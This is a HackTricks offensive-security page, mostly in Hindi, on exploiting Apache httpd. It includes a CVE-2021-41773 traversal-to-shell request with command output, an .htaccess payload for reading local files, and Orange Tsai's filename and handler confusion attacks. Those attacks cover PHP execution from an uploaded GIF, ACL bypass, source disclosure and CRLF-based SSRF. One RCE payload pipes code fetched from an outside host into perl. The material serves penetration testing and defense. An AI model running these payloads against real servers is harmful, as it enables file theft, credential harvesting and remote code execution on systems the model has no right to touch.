Apache

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

निष्पाद्य PHP एक्सटेंशन्स

जाँचें कि कौन से एक्सटेंशन्स Apache सर्वर पर निष्पादित हो रहे हैं। उन्हें खोजने के लिए आप यह चला सकते हैं:

bash
grep -R -B1 "httpd-php" /etc/apache2

इसके अलावा, कुछ स्थान जहाँ आप यह कॉन्फ़िगरेशन पा सकते हैं:

bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI via .htaccess ErrorDocument file provider (ap_expr)

यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं।

  • Requirements:
  • Apache 2.4 जिसमें expression parser (ap_expr) सक्षम हो (2.4 में default)।
  • vhost/dir को .htaccess को ErrorDocument सेट करने की अनुमति देनी चाहिए (AllowOverride FileInfo)।
  • Apache worker user के पास target फ़ाइल पर read permissions होने चाहिए।

.htaccess payload:

apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

उस डायरेक्टरी के नीचे किसी भी अस्तित्वहीन पथ का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय:

bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Notes and tips:

  • केवल absolute paths काम करते हैं। कंटेंट 404 handler के response body के रूप में लौटाया जाता है।
  • प्रभावी रीड परमिशन्स Apache user (typically www-data/apache) के होते हैं। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएँगे।
  • Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
  • rename .htaccess .htaccess.bk
  • put your malicious .htaccess
  • Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). यह पूरी तरह गलत नहीं है क्योंकि अधिकांश modules r->filename को एक URL के रूप में treat करते हैं। लेकिन कुछ अवसरों पर इसे file path के रूप में treat किया जाएगा, जिससे समस्या उत्पन्न हो सकती है।

  • Path Truncation

यह संभव है कि निम्न rule उदाहरण की तरह mod_rewrite का दुरुपयोग करके फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँच बनाई जाए, अपेक्षित path के अंतिम हिस्से को हटाकर बस एक ? जोड़कर:

bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Mislead RewriteFlag Assignment

निम्नलिखित rewrite rule में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और execute किया जाएगा। इसलिए, यह संभव है कि ? char के बाद .php पर समाप्त होने वाला URL भेजा जाए, जबकि path में किसी दूसरे प्रकार की फ़ाइल (जैसे एक image) को लोड किया जा रहा हो जिसमें हानिकारक php code हो:

bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

ऐसी कॉन्फ़िगरेशन में यह संभव है कि user उन फ़ाइलों तक access कर सके जिन्हें उसे access करने की अनुमति नहीं होनी चाहिए, भले ही access deny किया गया हो:

xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

यह इसलिए है कि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो .php पर समाप्त होते हैं, जैसे http://server/admin.php%3Fooo.php और क्योंकि PHP-FPM ? कैरेक्टर के बाद की किसी भी चीज़ को हटा देगा, पिछला URL /admin.php लोड करने की अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता हो।

DocumentRoot भ्रम

bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Apache के बारे में एक मज़ेदार तथ्य यह है कि पिछले rewrite दोनों documentRoot और root से फ़ाइल तक पहुँचने की कोशिश करेगा। इसलिए, https://server/abouth.html के लिए एक अनुरोध फ़ाइल सिस्टम में /var/www/html/about.html और /about.html दोनों स्थानों पर फ़ाइल की जांच करेगा। जो मूलतः फ़ाइल सिस्टम में फ़ाइलों तक पहुँचने के लिए दुरुपयोग किया जा सकता है।

सर्वर-साइड स्रोत कोड प्रकटीकरण

  • CGI स्रोत कोड का खुलासा

अंत में केवल %3F जोड़ना ही किसी cgi module का स्रोत कोड लीक करने के लिए काफी है:

bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • PHP स्रोत कोड का खुलासा

यदि किसी सर्वर के पास अलग-अलग डोमेन्स हैं और उनमें से एक स्टैटिक डोमेन है, तो इसका दुरुपयोग कर फ़ाइल सिस्टम को ट्रैवर्स करके php कोड leak किया जा सकता है:

bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से filesystem पर अधिकांश access को नकार दिया जाएगा, जैसा Apache HTTP Server’s configuration template में है:

xml
<Directory />
AllowOverride None
Require all denied
</Directory>

हालाँकि, Debian/Ubuntu ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से /usr/share की अनुमति देते हैं:

xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

इसलिए, यह संभव होगा कि इन वितरणों में /usr/share के अंदर स्थित फ़ाइलों का दुरुपयोग किया जाए।

Local Gadget to Information Disclosure

  • Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, जो संवेदनशील environment variables को leak कर सकता है।
  • Servers with Nginx or Jetty might expose संवेदनशील web application जानकारी (e.g., web.xml) through their default web roots placed under /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Local Gadget to XSS

  • On Ubuntu Desktop with LibreOffice installed, help files की language switch सुविधा का exploit करने पर Cross-Site Scripting (XSS) हो सकता है। /usr/share/libreoffice/help/help.html पर URL को manipulate करके malicious पेजों या पुराने संस्करणों पर redirect किया जा सकता है, जो unsafe RewriteRule के कारण संभव है।

Local Gadget to LFI

  • यदि PHP या कुछ front-end packages जैसे JpGraph या jQuery-jFeed installed हैं, तो उनकी फाइलों का उपयोग करके /etc/passwd जैसी संवेदनशील फाइलें पढ़ी जा सकती हैं:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

  • MagpieRSS's magpie_debug.php को /usr/share/php/magpierss/scripts/magpie_debug.php पर उपयोग करने से आसानी से SSRF vulnerability बनाई जा सकती है, जो आगे के exploits के लिए gateway प्रदान करती है।

Local Gadget to RCE

  • Remote Code Execution (RCE) के अवसर व्यापक हैं, जैसे पुराने या vulnerable इंस्टॉलेशंस जैसे outdated PHPUnit या phpLiteAdmin. इनका exploit करके arbitrary code execute किया जा सकता है, जो local gadgets के manipulation की व्यापक क्षमता को दर्शाता है।

Jailbreak from Local Gadgets

इन फ़ोल्डरों में इंस्टॉल किए गए सॉफ़्टवेयर द्वारा बनाए गए symlinks को follow करके भी allowed फ़ोल्डरों से jailbreak करना संभव है, जैसे:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

इसके अलावा, symlinks का दुरुपयोग करके Redmine में RCE प्राप्त करना संभव था।

Handler Confusion

This attack exploits the overlap in functionality between the AddHandler and AddType directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (r->handler and r->content_type respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting r->content_type into r->handler if the former is set and the latter is not.

Moreover, in the Apache HTTP Server (server/config.c#L420), if r->handler is empty before executing ap_run_handler(), the server uses r->content_type as the handler, effectively making AddType and AddHandler identical in effect.

Overwrite Handler to Disclose PHP Source Code

In this talk, एक vulnerability प्रस्तुत की गई थी जहाँ क्लाइंट द्वारा भेजा गया गलत Content-Length Apache को गलती से PHP source code लौटाने के लिए प्रेरित कर सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ error handling issue के कारण था, जहाँ एक double response r->content_type को text/html में overwrite कर देता है।
क्योंकि ModSecurity return values को ठीक से handle नहीं करता, यह PHP code को return कर देता है और उसे interpret नहीं करेगा।

Overwrite Handler to XXXX

TODO: Orange ने अभी तक इस vulnerability का disclosure नहीं किया है

Invoke Arbitrary Handlers

If an attacker is able to control the Content-Type header in a server response he is going to be able to invoke arbitrary module handlers. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to restart the request process abusing the Location header because if the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed

According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Therefore, to perform this attack is needed one of the following vulns:

  • CRLF Injection in the CGI response headers
  • SSRF with complete control of the response headers

Arbitrary Handler to Information Disclosure

For example /server-status should only be accessible locally:

xml
<Location /server-status>
SetHandler server-status
Require local
</Location>

इसे एक्सेस करना संभव है यदि Content-Type को server-status सेट किया जाए और Location हेडर / से शुरू हो।

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler से Full SSRF

किसी भी URL पर किसी भी प्रोटोकॉल तक पहुंचने के लिए mod_proxy पर रीडायरेक्ट करना:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

हालाँकि, X-Forwarded-For हेडर जोड़ा गया है जिससे क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुँच अवरुद्ध हो रही है।

Local Unix Domain Socket तक पहुँचने के लिए Arbitrary Handler

PHP-FPM’s local Unix Domain Socket तक पहुँचकर /tmp/ में स्थित PHP backdoor को execute करें:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

आधिकारिक PHP Docker image में PEAR (Pearcmd.php) शामिल है, जो एक कमांड-लाइन PHP पैकेज मैनेजमेंट टूल है, और जिसका दुरुपयोग करके RCE प्राप्त किया जा सकता है:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

इस तकनीक के विवरण के लिए Docker PHP LFI Summary, जो Phith0n द्वारा लिखा गया है, देखें।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें